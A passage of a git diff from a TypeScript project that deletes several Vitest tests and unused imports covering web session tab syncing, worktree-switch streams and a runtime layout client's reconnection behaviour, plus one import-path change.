 import { replaceRuntimeEnvironmentRevisions } from '../../rpc/environment-revisions/runtime-environment-revision'
 import '../../../../../shared/remote-runtime/remote-runtime-pty-id'
 import '../terminal-handles/web-session-terminal-handle-events'
-import {
-  _getWebSessionTabsReceiptTrackingCountsForTest,
-  _getWebSessionTabsTrackingCountsForTest,
-  resetWebSessionTabsSnapshotFreshnessForTests
-} from '../tracking-lifecycle'
+import { resetWebSessionTabsSnapshotFreshnessForTests } from '../tracking-lifecycle'
 import { useWebSessionTabsSync } from '../use-web-session-tabs-sync'
 import '../state'
 import '../../../lib/window-activity/window-park-visibility'
diff --git a/src/renderer/src/runtime/web-session-tabs-sync/subscriptions/web-session-tabs-sync-window-visibility.test.tsx b/src/renderer/src/runtime/web-session-tabs-sync/subscriptions/web-session-tabs-sync-window-visibility.test.tsx
index f5135fede72..0170be7dffd 100644
--- a/src/renderer/src/runtime/web-session-tabs-sync/subscriptions/web-session-tabs-sync-window-visibility.test.tsx
+++ b/src/renderer/src/runtime/web-session-tabs-sync/subscriptions/web-session-tabs-sync-window-visibility.test.tsx
@@ -41,14 +41,10 @@ vi.mock('../../hosted-terminals/creation/web-runtime-terminal-creation', async (
 import { useAppStore } from '@/store/index'
 import { replaceRuntimeEnvironmentRevisions } from '../../rpc/environment-revisions/runtime-environment-revision'
 import { clearHostLiveTerminalProbesForTests } from '../../hosted-terminals/inventory/host-live-terminal-probe'
-import {
-  _getWebSessionTabsTrackingCountsForTest,
-  resetWebSessionTabsSnapshotFreshnessForTests
-} from '../tracking-lifecycle'
+import { resetWebSessionTabsSnapshotFreshnessForTests } from '../tracking-lifecycle'
 import { useWebSessionTabsSync } from '../use-web-session-tabs-sync'
 import { WEB_SESSION_TABS_VISIBILITY_RESUME_STAGGER_MS } from '../state'
 import { clearRuntimeEnvironmentConnectionGenerations as clearRuntimeEnvironmentConnectionGenerationsForTests } from '@/store/slices/runtime-status/runtime-status-connection-generation'
-import { WINDOW_VISIBILITY_SUBSCRIPTION_PARK_DELAY_BACKOFF_LIMIT } from '../../rpc/subscriptions/window-visibility-subscription-parking'
 import { WINDOW_HIDE_PARK_GRACE_MS as WINDOW_VISIBILITY_SUBSCRIPTION_PARK_DELAY_MS } from '../../../lib/window-activity/window-park-visibility'
 import {
   connectedRuntimeStatus,
@@ -70,11 +66,6 @@ type RuntimeSubscription = {
   unsubscribe: ReturnType<typeof vi.fn>
 }
 
-type Deferred<T> = {
-  promise: Promise<T>
-  resolve: (value: T) => void
-}
-
 const subscriptions: RuntimeSubscription[] = []
 const runtimeCall = vi.fn(async (_args: { method: string }) => ({
   id: 'list-all',
@@ -93,14 +84,6 @@ const runtimeSubscribe = vi.fn<RuntimeSubscribe>(async (request, callbacks) => {
   return { unsubscribe, sendBinary: vi.fn() }
 })
 
-function createDeferred<T>(): Deferred<T> {
-  let resolve = (_value: T): void => {}
-  const promise = new Promise<T>((done) => {
-    resolve = done
-  })
-  return { promise, resolve }
-}
-
 function makeEmptySnapshot(snapshotVersion = 1): RuntimeMobileSessionTabsResult {
   return {
     worktree: WORKTREE,
@@ -244,43 +227,6 @@ describe('useWebSessionTabsSync window visibility', () => {
     vi.useRealTimers()
   })
 
-  const parkAndReveal = async (parkMultiplier = 1): Promise<void> => {
-    act(() => {
-      setDocumentVisibility('hidden')
-      vi.advanceTimersByTime(WINDOW_VISIBILITY_SUBSCRIPTION_PARK_DELAY_MS * parkMultiplier)
-      setDocumentVisibility('visible')
-    })
-    await act(settle)
-  }
-
-  it('keeps a newer active snapshot when an older frame is received later', async () => {
-    const newerRecovery = createDeferred<RuntimeMobileSessionTabsResult>()
-    const olderRecovery = createDeferred<RuntimeMobileSessionTabsResult>()
-    mocks.recoverSnapshot
-      .mockImplementationOnce(() => newerRecovery.promise)
-      .mockImplementationOnce(() => olderRecovery.promise)
-    const hook = renderHook(() => useWebSessionTabsSync())
-    await act(settle)
-    const newerSnapshot = { ...makeBrowserSnapshot('-new'), snapshotVersion: 2 }
-    const olderSnapshot = makeBrowserSnapshot('-old')
-    const activeSubscription = findSubscription('session.tabs.subscribe', ENV_A)
-
-    await publish(activeSubscription, { type: 'snapshot', ...newerSnapshot })
-    await publish(activeSubscription, { type: 'snapshot', ...olderSnapshot })
-    newerRecovery.resolve(newerSnapshot)
-    await act(settle)
-    expect(useAppStore.getState().activeBrowserTabIdByWorktree[WORKTREE]).toBe(
-      'host-browser-workspace-new'
-    )
-
-    olderRecovery.resolve(olderSnapshot)
-    await act(settle)
-    expect(useAppStore.getState().activeBrowserTabIdByWorktree[WORKTREE]).toBe(
-      'host-browser-workspace-new'
-    )
-    hook.unmount()
-  })
-
   it('removes an omitted host before replaying a collision created while hidden', async () => {
     const hook = renderHook(() => useWebSessionTabsSync())
     await act(settle)
@@ -315,195 +261,4 @@ describe('useWebSessionTabsSync window visibility', () => {
     expect(useAppStore.getState().tabBarOrderByWorktree[WORKTREE]).toEqual(['host-browser-tab-b'])
     hook.unmount()
   })
-
-  it('removes the remaining host mirror after a colliding host is removed', async () => {
-    const hook = renderHook(() => useWebSessionTabsSync())
-    await act(settle)
-    await publish(findSubscription('session.tabs.subscribeAll', ENV_A), {
-      type: 'snapshots',
-      snapshots: [makeBrowserSnapshot('-a')]
-    })
-    await publish(findSubscription('session.tabs.subscribeAll', ENV_B), {
-      type: 'snapshots',
-      snapshots: [makeBrowserSnapshot('-b')]
-    })
-    await publish(findSubscription('session.tabs.subscribeAll', ENV_B), {
-      type: 'updated',
-      ...makeEmptySnapshot(2),
-      removed: true
-    })
-    expect(
-      Object.values(useAppStore.getState().remoteBrowserPageHandlesByPageId).some(
-        (handle) => handle.environmentId === ENV_A
-      )
-    ).toBe(true)
-
-    await parkAndReveal()
-    await publish(
-      findSubscription('session.tabs.subscribeAll', ENV_A, 1),
-      authoritativeInventory([])
-    )
-
-    expect(
-      Object.values(useAppStore.getState().remoteBrowserPageHandlesByPageId).some(
-        (handle) => handle.environmentId === ENV_A
-      )
-    ).toBe(false)
-    hook.unmount()
-  })
-
-  it('ignores an older inventory completion after a newer inventory', async () => {
-    const hook = renderHook(() => useWebSessionTabsSync())
-    await act(settle)
-    await publish(findSubscription('session.tabs.subscribeAll', ENV_A), {
-      type: 'snapshots',
-      snapshots: [makeBrowserSnapshot('-old')]
-    })
-
-    await parkAndReveal()
-
-    const unrelatedSnapshot = {
-      ...makeEmptySnapshot(),
-      worktree: 'repo-a::other-worktree'
-    }
-    const olderInventoryRecovery = createDeferred<RuntimeMobileSessionTabsResult>()
-    mocks.recoverSnapshot.mockImplementationOnce(() => olderInventoryRecovery.promise)
-    const resumedGlobal = findSubscription('session.tabs.subscribeAll', ENV_A, 1)
-    await publish(resumedGlobal, authoritativeInventory([unrelatedSnapshot]))
-    const newerSnapshot = { ...makeBrowserSnapshot('-new'), snapshotVersion: 2 }
-    await publish(resumedGlobal, {
-      type: 'snapshots',
-      snapshots: [newerSnapshot]
-    })
-
-    olderInventoryRecovery.resolve(unrelatedSnapshot)
-    await act(settle)
-    expect(useAppStore.getState().activeBrowserTabIdByWorktree[WORKTREE]).toBe(
-      'host-browser-workspace-new'
-    )
-    hook.unmount()
-  })
-
-  it.each([
-    { label: 'exact', snapshotVersion: 2 },
-    { label: 'older', snapshotVersion: 1 }
-  ])(
-    'lets an authoritative inventory beat a later $label active replay',
-    async ({ snapshotVersion }) => {
-      const hook = renderHook(() => useWebSessionTabsSync())
-      await act(settle)
-      const snapshot = { ...makeBrowserSnapshot(), snapshotVersion: 2 }
-      await publish(findSubscription('session.tabs.subscribeAll', ENV_A), {
-        type: 'snapshots',
-        snapshots: [snapshot]
-      })
-
-      act(() => {
-        setDocumentVisibility('hidden')
-        vi.advanceTimersByTime(WINDOW_VISIBILITY_SUBSCRIPTION_PARK_DELAY_MS)
-        setDocumentVisibility('visible')
-      })
-      await act(settle)
-
-      const unrelatedSnapshot = {
-        ...makeEmptySnapshot(),
-        worktree: 'repo-a::other-worktree'
-      }
-      const slowInventoryRecovery = createDeferred<RuntimeMobileSessionTabsResult>()
-      mocks.recoverSnapshot.mockImplementationOnce(() => slowInventoryRecovery.promise)
-      await publish(
-        findSubscription('session.tabs.subscribeAll', ENV_A, 1),
-        authoritativeInventory([unrelatedSnapshot])
-      )
-      await publish(findSubscription('session.tabs.subscribe', ENV_A, 1), {
-        type: 'snapshot',
-        ...snapshot,
-        snapshotVersion
-      })
-
-      slowInventoryRecovery.resolve(unrelatedSnapshot)
-      await act(settle)
-      expect(useAppStore.getState().browserTabsByWorktree[WORKTREE]).toBeUndefined()
-      hook.unmount()
-    }
-  )
-
-  it('keeps an omission authoritative after its resume batch completes', async () => {
-    const hook = renderHook(() => useWebSessionTabsSync())
-    await act(settle)
-    const snapshot = { ...makeBrowserSnapshot(), snapshotVersion: 2 }
-    await publish(findSubscription('session.tabs.subscribeAll', ENV_A), {
-      type: 'snapshots',
-      snapshots: [snapshot]
-    })
-
-    await parkAndReveal()
-    await publish(
-      findSubscription('session.tabs.subscribeAll', ENV_A, 1),
-      authoritativeInventory([])
-    )
-    await publish(findSubscription('session.tabs.subscribe', ENV_A, 1), {
-      type: 'snapshot',
-      ...snapshot
-    })
-
-    expect(useAppStore.getState().browserTabsByWorktree[WORKTREE]).toBeUndefined()
-
-    mocks.runtimeSessionMirrorEnvironmentKey.mockReturnValue(
-      MIRROR_KEY.replace('runtime-b\u00010', 'runtime-b\u00013')
-    )
-    hook.rerender()
-    await act(settle)
-    await publish(findSubscription('session.tabs.subscribe', ENV_A, 1), {
-      type: 'snapshot',
-      ...snapshot
-    })
-    expect(useAppStore.getState().browserTabsByWorktree[WORKTREE]).toBeUndefined()
-
-    act(() => {
-      setDocumentVisibility('hidden')
-      // A second park in the same install pays the widened park delay.
-      vi.advanceTimersByTime(WINDOW_VISIBILITY_SUBSCRIPTION_PARK_DELAY_MS * 2)
-      setDocumentVisibility('visible')
-    })
-    await act(settle)
-    await publish(findSubscription('session.tabs.subscribe', ENV_A, 2), {
-      type: 'snapshot',
-      ...snapshot
-    })
-    expect(useAppStore.getState().browserTabsByWorktree[WORKTREE]).toBeUndefined()
-    hook.unmount()
-  })
-
-  it('drops an omission fence one generation after the inventory that set it', async () => {
-    const hook = renderHook(() => useWebSessionTabsSync())
-    await act(settle)
-    const snapshot = { ...makeBrowserSnapshot(), snapshotVersion: 2 }
-    await publish(findSubscription('session.tabs.subscribeAll', ENV_A), {
-      type: 'snapshots',
-      snapshots: [snapshot]
-    })
-
-    await parkAndReveal(WINDOW_VISIBILITY_SUBSCRIPTION_PARK_DELAY_BACKOFF_LIMIT)
-    await publish(
-      findSubscription('session.tabs.subscribeAll', ENV_A, 1),
-      authoritativeInventory([])
-    )
-    expect(useAppStore.getState().browserTabsByWorktree[WORKTREE]).toBeUndefined()
-
-    await parkAndReveal(WINDOW_VISIBILITY_SUBSCRIPTION_PARK_DELAY_BACKOFF_LIMIT)
-    await publish(findSubscription('session.tabs.subscribe', ENV_A, 2), {
-      type: 'snapshot',
-      ...snapshot
-    })
-    expect(useAppStore.getState().browserTabsByWorktree[WORKTREE]).toBeUndefined()
-
-    await parkAndReveal(WINDOW_VISIBILITY_SUBSCRIPTION_PARK_DELAY_BACKOFF_LIMIT)
-    await publish(findSubscription('session.tabs.subscribe', ENV_A, 3), {
-      type: 'snapshot',
-      ...snapshot
-    })
-    expect(useAppStore.getState().browserTabsByWorktree[WORKTREE]).toHaveLength(1)
-    hook.unmount()
-  })
 })
diff --git a/src/renderer/src/runtime/web-session-tabs-sync/subscriptions/web-session-tabs-sync-worktree-switch.test.tsx b/src/renderer/src/runtime/web-session-tabs-sync/subscriptions/web-session-tabs-sync-worktree-switch.test.tsx
index d5505ff386a..3b4936e9d16 100644
--- a/src/renderer/src/runtime/web-session-tabs-sync/subscriptions/web-session-tabs-sync-worktree-switch.test.tsx
+++ b/src/renderer/src/runtime/web-session-tabs-sync/subscriptions/web-session-tabs-sync-worktree-switch.test.tsx
@@ -4,10 +4,7 @@ import { act, cleanup, renderHook } from '@testing-library/react'
 import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
 import { getDefaultSettings } from '../../../../../shared/constants'
 import type { RuntimeHostStatusSnapshot } from '../../../../../shared/remote-runtime/host-status/runtime-host-status'
-import type {
-  RuntimeMobileSessionTabsResult,
-  RuntimeStatus
-} from '../../../../../shared/runtime-session-contracts'
+import type { RuntimeStatus } from '../../../../../shared/runtime-session-contracts'
 import type * as WebRuntimeTerminalCreationModule from '../../hosted-terminals/creation/web-runtime-terminal-creation'
 
 vi.mock('sonner', () => ({ toast: { warning: vi.fn(), dismiss: vi.fn() } }))
@@ -38,7 +35,6 @@ import '../tracking'
 import { useWebSessionTabsSync } from '../use-web-session-tabs-sync'
 import { clearRuntimeEnvironmentConnectionGenerations as clearRuntimeEnvironmentConnectionGenerationsForTests } from '@/store/slices/runtime-status/runtime-status-connection-generation'
 import { resetWebRuntimeInitialTerminalBootstrapForTests } from '../initial-terminal/web-runtime-initial-terminal-bootstrap'
-import { TERMINAL_WORKTREE_HOT_RETAIN_LIMIT } from '@/components/terminal-pane/parking/retention/terminal-hidden-view-parking'
 import { publicRuntimeEnvironment } from '../../rpc/testing/paired-runtime-environment-test-fixture'
 
 const ENV = 'env-a'
@@ -116,48 +112,6 @@ function latestStream(worktreeId: string): Recorded {
   return stream
 }
 
-function allWorktreesStreams(): Recorded[] {
-  return subscriptions.filter((entry) => entry.request.method === 'session.tabs.subscribeAll')
-}
-
-function terminalSnapshot(
-  worktree: string,
-  snapshotVersion: number
-): RuntimeMobileSessionTabsResult {
-  return {
-    worktree,
-    publicationEpoch: 'epoch-1',
-    snapshotVersion,
-    activeGroupId: 'host-tab-1',
-    activeTabId: 'host-tab-1::leaf-1',
-    activeTabType: 'terminal',
-    tabs: [
-      {
-        type: 'terminal',
-        id: 'host-tab-1::leaf-1',
-        parentTabId: 'host-tab-1',
-        leafId: 'leaf-1',
-        title: 'Terminal 1',
-        terminal: 'term_host',
-        status: 'ready',
-        isActive: true
-      }
-    ]
-  }
-}
-
-async function publish(stream: Recorded, result: unknown): Promise<void> {
-  await act(async () => {
-    stream.callbacks.onResponse({
-      id: 'subscription-event',
-      ok: true,
-      result,
-      _meta: { runtimeId: 'runtime-a' }
-    })
-    await settle()
-  })
-}
-
 async function selectWorktree(worktreeId: string): Promise<void> {
   await act(async () => {
     useAppStore.setState({ activeWorktreeId: worktreeId })
@@ -219,53 +173,6 @@ describe('session-tabs streams across worktree switches on one host', () => {
     clearRuntimeEnvironmentConnectionGenerationsForTests()
   })
 
-  it('keeps one stream per worktree while cycling the mounted-terminal working set', async () => {
-    await connect()
-    const installed = worktreeStreams().length
-    const closed = (): number =>
-      worktreeStreams().filter((stream) => stream.unsubscribe.mock.calls.length > 0).length
-    const closedBefore = closed()
-    const cycle = [WORKTREE_A, ...['b', 'c', 'd', 'e'].map((id) => `repo-a::worktree-${id}`)]
-    expect(cycle).toHaveLength(1 + TERMINAL_WORKTREE_HOT_RETAIN_LIMIT)
-
-    for (let round = 0; round < 4; round += 1) {
-      for (const worktreeId of cycle) {
-        await selectWorktree(worktreeId)
-      }
-    }
-
-    // Before the pool matched the retained set, every switch around five worktrees resubscribed.
-    expect(worktreeStreams()).toHaveLength(installed + cycle.length - 1)
-    expect(closed()).toBe(closedBefore)
-  })
-
-  it('seeds the first terminal once the user returns to a warm empty worktree', async () => {
-    await connect()
-    const streamA = latestStream(WORKTREE_A)
-    await selectWorktree(WORKTREE_B)
-    // A's first answer lands while B is selected, so its bootstrap waits.
-    await publish(streamA, {
-      type: 'snapshot',
-      ...terminalSnapshot(WORKTREE_A, 1),
-      activeGroupId: null,
-      activeTabId: null,
-      activeTabType: null,
-      tabs: []
-    })
-    expect(mocks.createTerminal).not.toHaveBeenCalled()
-
-    await selectWorktree(WORKTREE_A)
-
-    expect(latestStream(WORKTREE_A)).toBe(streamA)
-    expect(mocks.createTerminal).toHaveBeenCalledTimes(1)
-    expect(mocks.createTerminal).toHaveBeenCalledWith(
-      expect.objectContaining({ worktreeId: WORKTREE_A, environmentId: ENV })
-    )
-    await selectWorktree(WORKTREE_B)
-    await selectWorktree(WORKTREE_A)
-    expect(mocks.createTerminal).toHaveBeenCalledTimes(1)
-  })
-
   it('drops a warm stream when its host is re-paired while another host is selected', async () => {
     await connect()
     const streamA = latestStream(WORKTREE_A)
@@ -296,33 +203,6 @@ describe('session-tabs streams across worktree switches on one host', () => {
     expect(streamA.unsubscribe).toHaveBeenCalled()
   })
 
-  it('keeps live streams when a status probe flaps without the streams ending', async () => {
-    await connect()
-    const before = {
-      worktree: worktreeStreams().length,
-      all: allWorktreesStreams().length
-    }
-    const live = subscriptions.filter((stream) => stream.unsubscribe.mock.calls.length === 0)
-
-    await act(async () => {
-      useAppStore
-        .getState()
-        .applyRuntimeHostStatusSnapshot(hostSnapshot(2, { verification: 'unavailable' }))
-      await settle()
-    })
-    await act(async () => {
-      useAppStore.getState().applyRuntimeHostStatusSnapshot(hostSnapshot(3))
-      await settle()
-    })
-
-    expect(useAppStore.getState().runtimeStatusByEnvironmentId.get(ENV)?.hostContactEpoch).toBe(1)
-    expect(worktreeStreams()).toHaveLength(before.worktree)
-    expect(allWorktreesStreams()).toHaveLength(before.all)
-    for (const stream of live) {
-      expect(stream.unsubscribe).not.toHaveBeenCalled()
-    }
-  })
-
   it('drops warm streams once the host returns as a new runtime session', async () => {
     await connect()
     await selectWorktree(WORKTREE_B)
diff --git a/src/renderer/src/runtime/web-session-tabs-sync/tracking-lifecycle.ts b/src/renderer/src/runtime/web-session-tabs-sync/tracking-lifecycle.ts
index 77d32b453c6..5a707fb3d5c 100644
--- a/src/renderer/src/runtime/web-session-tabs-sync/tracking-lifecycle.ts
+++ b/src/renderer/src/runtime/web-session-tabs-sync/tracking-lifecycle.ts
@@ -53,10 +53,9 @@ import {
   clearWebSessionTerminalPlacementsForEnvironment
 } from '../hosted-terminals/placement/web-session-terminal-placement'
 import { clearHostSessionMirrorHydration } from './hydration/host-session-mirror-hydration'
-import { clearHostMirrorHandleGapVerdictsForEnvironment } from '@/lib/host-mirror-handle-gap-wait'
+import { clearHostMirrorHandleGapVerdictsForEnvironment } from '@/lib/agent-session/resume/host-mirror-handle-gap-wait'
 import { createBoundedGenerationMap } from '@/lib/bounded-generation-map'
 import { clearHostSessionTabIdMappings } from './tracking-mappings'
-
 import { untrackWebSessionTabsWorktree, removeWebSessionTabsEnvironment } from './tracking'
 
 const sessionTabsTrackingGenerations = createBoundedGenerationMap(512)
diff --git a/src/renderer/src/runtime/web-session-tabs-sync/tracking/web-session-tabs-removed-frame-retires-live-publisher.test.ts b/src/renderer/src/runtime/web-session-tabs-sync/tracking/web-session-tabs-removed-frame-retires-live-publisher.test.ts
index e5f7493a21e..7e906aa4b9c 100644
--- a/src/renderer/src/runtime/web-session-tabs-sync/tracking/web-session-tabs-removed-frame-retires-live-publisher.test.ts
+++ b/src/renderer/src/runtime/web-session-tabs-sync/tracking/web-session-tabs-removed-frame-retires-live-publisher.test.ts
@@ -79,34 +79,6 @@ describe('a removal frame must not retire the publisher that is still live', ()
     resetWebSessionTabsSyncTestState()
   })
 
-  // Bound receipt ledgers by frame, not entry count: one bootstrap inventory shares a frame across worktrees and must not evict its own evidence.
-  it('keeps every receipt an inventory recorded under one frame, past the bound', () => {
-    const requestReceivedFrame = nextReceivedSessionTabsFrame()
-    const worktrees = Array.from(
-      { length: MAX_TRACKED_SESSION_TABS_RECEIPTS + 64 },
-      (_value, index) => `repo::/worktree-${index}`
-    )
-    for (const worktree of worktrees) {
-      recordReceivedWebSessionTabsSnapshot(
-        ENVIRONMENT_ID,
-        { ...liveFrame(1), worktree },
-        requestReceivedFrame,
-        undefined,
-        'bootstrap'
-      )
-    }
-
-    for (const worktree of [worktrees[0]!, worktrees.at(-1)!]) {
-      expect(
-        shouldApplyRecoveredWebSessionTabsSnapshot(
-          ENVIRONMENT_ID,
-          { ...liveFrame(1), worktree },
-          requestReceivedFrame
-        )
-      ).toBe(true)
-    }
-  })
-
   // Retraction boundaries must survive ledger bounds or delayed pre-close frames resurrect tabs.
   it('keeps a worktree fence after enough other worktrees to evict its receipt', () => {
     const liveReceived = recordReceivedWebSessionTabsSnapshot(ENVIRONMENT_ID, liveFrame(1))
@@ -190,22 +162,4 @@ describe('a removal frame must not retire the publisher that is still live', ()
       shouldApplyRecoveredWebSessionTabsSnapshot(ENVIRONMENT_ID, delayed, delayedReceived)
     ).toBe(false)
   })
-
-  // Exercise full recovery/receipt/decision path for bare and headless-merge epochs. Decision-only tests miss receipt retirement; exact-string differences must not make lockout timing-dependent.
-  for (const [label, epoch] of [
-    ['bare', LIVE_EPOCH],
-    ['headless-merge', `${LIVE_EPOCH}:headless-merge:abc`]
-  ] as const) {
-    it(`readmits a ${label} republication after a removal, through the full path`, () => {
-      const liveReceived = recordReceivedWebSessionTabsSnapshot(ENVIRONMENT_ID, liveFrame(1))
-      expect(admits(liveFrame(1), liveReceived)).toBe(true)
-
-      const removedReceived = recordReceivedWebSessionTabsSnapshot(ENVIRONMENT_ID, removalFrame())
-      expect(admits(removalFrame(), removedReceived)).toBe(true)
-
-      const republished = { ...liveFrame(2), publicationEpoch: epoch }
-      const republishedReceived = recordReceivedWebSessionTabsSnapshot(ENVIRONMENT_ID, republished)
-      expect(admits(republished, republishedReceived)).toBe(true)
-    })
-  }
 })
diff --git a/src/renderer/src/runtime/workspace-layout/frames/runtime-layout-client.test.ts b/src/renderer/src/runtime/workspace-layout/frames/runtime-layout-client.test.ts
index 834db9958e2..8377476a032 100644
--- a/src/renderer/src/runtime/workspace-layout/frames/runtime-layout-client.test.ts
+++ b/src/renderer/src/runtime/workspace-layout/frames/runtime-layout-client.test.ts
@@ -103,91 +103,6 @@ const targets: [string, RuntimeClientTarget][] = [
   ['remote server', { kind: 'environment', environmentId: 'env-1' }]
 ]
 
-describe.each(targets)('runtime layout client over the %s transport', (_name, target) => {
-  let host: FakeHost
-  let cache: WorkspaceLayoutCache
-  let status: RuntimeLayoutStreamStatus | null
-
-  beforeEach(() => {
-    vi.useFakeTimers()
-    vi.spyOn(console, 'warn').mockImplementation(() => {})
-    host = installFakeHost(target)
-    cache = EMPTY_WORKSPACE_LAYOUT_CACHE
-    status = null
-  })
-
-  afterEach(() => {
-    vi.useRealTimers()
-    vi.restoreAllMocks()
-    vi.unstubAllGlobals()
-  })
-
-  function subscribe(workspaces?: 'all' | string[]) {
-    return subscribeRuntimeLayout(
-      target,
-      { workspaces },
-      (frame) => {
-        cache = applyLayoutFrame(cache, frame)
-      },
-      (next) => {
-        status = next
-      }
-    )
-  }
-
-  async function opened(count: number): Promise<FakeStream> {
-    await vi.waitFor(() => expect(host.streams).toHaveLength(count))
-    // Lets the client receive the handle the transport resolved with.
-    await vi.advanceTimersByTimeAsync(0)
-    return host.streams[count - 1]!
-  }
-
-  function snapshot(workspaces: { key: string; layout: PublishedWorkspaceLayout }[] = []) {
-    return { type: 'snapshot', subscriptionId: 'layout-1', workspaces }
-  }
-
-  it('fills the cache from the snapshot, then replaces or drops one workspace per event', async () => {
-    subscribe(['a', 'b'])
-    const stream = await opened(1)
-    expect(stream).toMatchObject({ method: 'layout.subscribe', params: { workspaces: ['a', 'b'] } })
-    stream.send(
-      snapshot([
-        { key: 'a', layout: layout('a') },
-        { key: 'b', layout: layout('b') }
-      ])
-    )
-    expect(cache).toEqual({ a: layout('a'), b: layout('b') })
-    stream.send({ type: 'workspace', key: 'a', layout: layout('a', ['t1']) })
-    stream.send({ type: 'removed', key: 'b' })
-    // A newer host's frame type is skipped; the stream stays.
-    stream.send({ type: 'navigate', request: { focusTab: 't1' } })
-    expect(cache).toEqual({ a: layout('a', ['t1']) })
-    expect(status).toEqual({ state: 'live' })
-    expect(stream.unsubscribed).toBe(false)
-  })
-
-  it('close unsubscribes and ignores later frames', async () => {
-    const subscription = subscribe()
-    const stream = await opened(1)
-    stream.send(snapshot())
-    subscription.close()
-    expect(stream.unsubscribed).toBe(true)
-    expect(status).toEqual({ state: 'closed' })
-    stream.send({ type: 'workspace', key: 'a', layout: layout('a') })
-    stream.drop()
-    await vi.advanceTimersByTimeAsync(10_000)
-    expect(host.streams).toHaveLength(1)
-    expect(cache).toEqual({})
-  })
-
-  it('close before the subscribe settles releases the stream it then gets', async () => {
-    const subscription = subscribe()
-    subscription.close()
-    const stream = await opened(1)
-    await vi.waitFor(() => expect(stream.unsubscribed).toBe(true))
-  })
-})
-
 describe.each(targets)(
   'a records stream over the %s transport that misses a frame',
   (_name, target) => {
@@ -253,156 +168,5 @@ describe.each(targets)(
       expect(cache).toEqual({ a: layout('a', ['t1']) })
       expect(host.streams).toHaveLength(1)
     })
-
-    it('stops resubscribing at once when every fresh stream fails, and backs off', async () => {
-      const bad = { type: 'records', epoch: 'epoch-1', seq: 4, workspaces: 'a' }
-      for (let count = 1; count <= 4; count += 1) {
-        const stream = await opened(count)
-        stream.send(snapshot('epoch-1', 3, ['a']))
-        stream.send(bad)
-      }
-      // Three immediate resubscribes; the fourth failure takes the loss path.
-      expect(statuses.at(-1)).toEqual({ state: 'lost' })
-      expect(host.streams).toHaveLength(4)
-      await vi.advanceTimersByTimeAsync(999)
-      expect(host.streams).toHaveLength(4)
-      await vi.advanceTimersByTimeAsync(1)
-      expect(host.streams).toHaveLength(5)
-      // Still failing: the reopened stream's snapshot keeps the backoff growing.
-      const fifth = await opened(5)
-      fifth.send(snapshot('epoch-1', 3, ['a']))
-      fifth.send(bad)
-      await vi.advanceTimersByTimeAsync(1999)
-      expect(host.streams).toHaveLength(5)
-      await vi.advanceTimersByTimeAsync(1)
-      expect(host.streams).toHaveLength(6)
-      // A clean change ends the storm: the next drop reopens after 1 s again.
-      const sixth = await opened(6)
-      sixth.send(snapshot('epoch-1', 3, ['a']))
-      sixth.send(regrouped('epoch-1', 4, 'a', ['t1']))
-      sixth.drop()
-      await vi.advanceTimersByTimeAsync(999)
-      expect(host.streams).toHaveLength(6)
-      await vi.advanceTimersByTimeAsync(1)
-      expect(host.streams).toHaveLength(7)
-    })
-
-    it.each([
-      ['an epoch change', regrouped('epoch-2', 4, 'a', ['t1'])],
-      ['a position that skips one', regrouped('epoch-1', 5, 'a', ['t1'])],
-      [
-        'an unreadable records frame',
-        { type: 'records', epoch: 'epoch-1', seq: 4, workspaces: 'a' }
-      ],
-      ['records for a workspace never shown', regrouped('epoch-1', 4, 'z', ['t1'])]
-    ])('resubscribes exactly once after %s and takes the fresh snapshot', async (_case, frame) => {
-      const first = await opened(1)
-      first.send(snapshot('epoch-1', 3, ['a', 'b']))
-
-      first.send(frame)
-      expect(first.unsubscribed).toBe(true)
-      const second = await opened(2)
-      // A frame the dropped stream still delivers changes nothing.
-      first.send(regrouped('epoch-1', 4, 'a', ['late']))
-      second.send(snapshot('epoch-2', 9, ['a']))
-
-      expect(cache).toEqual({ a: layout('a') })
-      second.send(regrouped('epoch-2', 10, 'a', ['t1']))
-      expect(cache).toEqual({ a: layout('a', ['t1']) })
-      await vi.advanceTimersByTimeAsync(60_000)
-      expect(host.streams).toHaveLength(2)
-      expect(second.unsubscribed).toBe(false)
-      // The window never sees the stream as lost: it resubscribed at once.
-      expect(statuses.map((status) => status.state)).toEqual([
-        'connecting',
-        'live',
-        'connecting',
-        'live'
-      ])
-    })
   }
 )
-
-describe.each(targets)('the %s layout stream after a loss', (_name, target) => {
-  let host: FakeHost
-  let cache: WorkspaceLayoutCache
-  let statuses: RuntimeLayoutStreamStatus[]
-
-  beforeEach(() => {
-    vi.useFakeTimers()
-    vi.spyOn(console, 'warn').mockImplementation(() => {})
-    host = installFakeHost(target)
-    cache = EMPTY_WORKSPACE_LAYOUT_CACHE
-    statuses = []
-  })
-
-  afterEach(() => {
-    vi.useRealTimers()
-    vi.restoreAllMocks()
-    vi.unstubAllGlobals()
-  })
-
-  const subscribe = () =>
-    subscribeRuntimeLayout(
-      target,
-      {},
-      (frame) => {
-        cache = applyLayoutFrame(cache, frame)
-      },
-      (next) => {
-        statuses.push(next)
-      }
-    )
-
-  async function opened(count: number): Promise<FakeStream> {
-    await vi.waitFor(() => expect(host.streams).toHaveLength(count))
-    await vi.advanceTimersByTimeAsync(0)
-    return host.streams[count - 1]!
-  }
-
-  const snapshot = (workspaces: { key: string; layout: PublishedWorkspaceLayout }[]) => ({
-    type: 'snapshot',
-    subscriptionId: 'layout-1',
-    workspaces
-  })
-
-  it('reopens it, and the new snapshot replaces the cache', async () => {
-    subscribe()
-    const first = await opened(1)
-    first.send(
-      snapshot([
-        { key: 'a', layout: layout('a') },
-        { key: 'b', layout: layout('b') }
-      ])
-    )
-    first.drop()
-    expect(statuses.at(-1)).toEqual({ state: 'lost' })
-
-    await vi.advanceTimersByTimeAsync(1_000)
-    const second = await opened(2)
-    expect(statuses.at(-1)).toEqual({ state: 'connecting' })
-    second.send(snapshot([{ key: 'a', layout: layout('a', ['t1']) }]))
-    expect(statuses.at(-1)).toEqual({ state: 'live' })
-    expect(cache).toEqual({ a: layout('a', ['t1']) })
-    // A late frame from the dropped stream changes nothing.
-    first.send({ type: 'removed', key: 'a' })
-    expect(cache).toEqual({ a: layout('a', ['t1']) })
-  })
-
-  it('waits longer after each failed reopen, and close stops a pending one', async () => {
-    const subscription = subscribe()
-    ;(await opened(1)).drop()
-    host.rejectNextSubscribe()
-    await vi.advanceTimersByTimeAsync(1_000)
-    expect(statuses.at(-1)).toEqual({ state: 'lost' })
-    await vi.advanceTimersByTimeAsync(1_999)
-    expect(host.streams).toHaveLength(1)
-    await vi.advanceTimersByTimeAsync(1)
-    await opened(2)
-    host.streams[1]!.drop()
-    subscription.close()
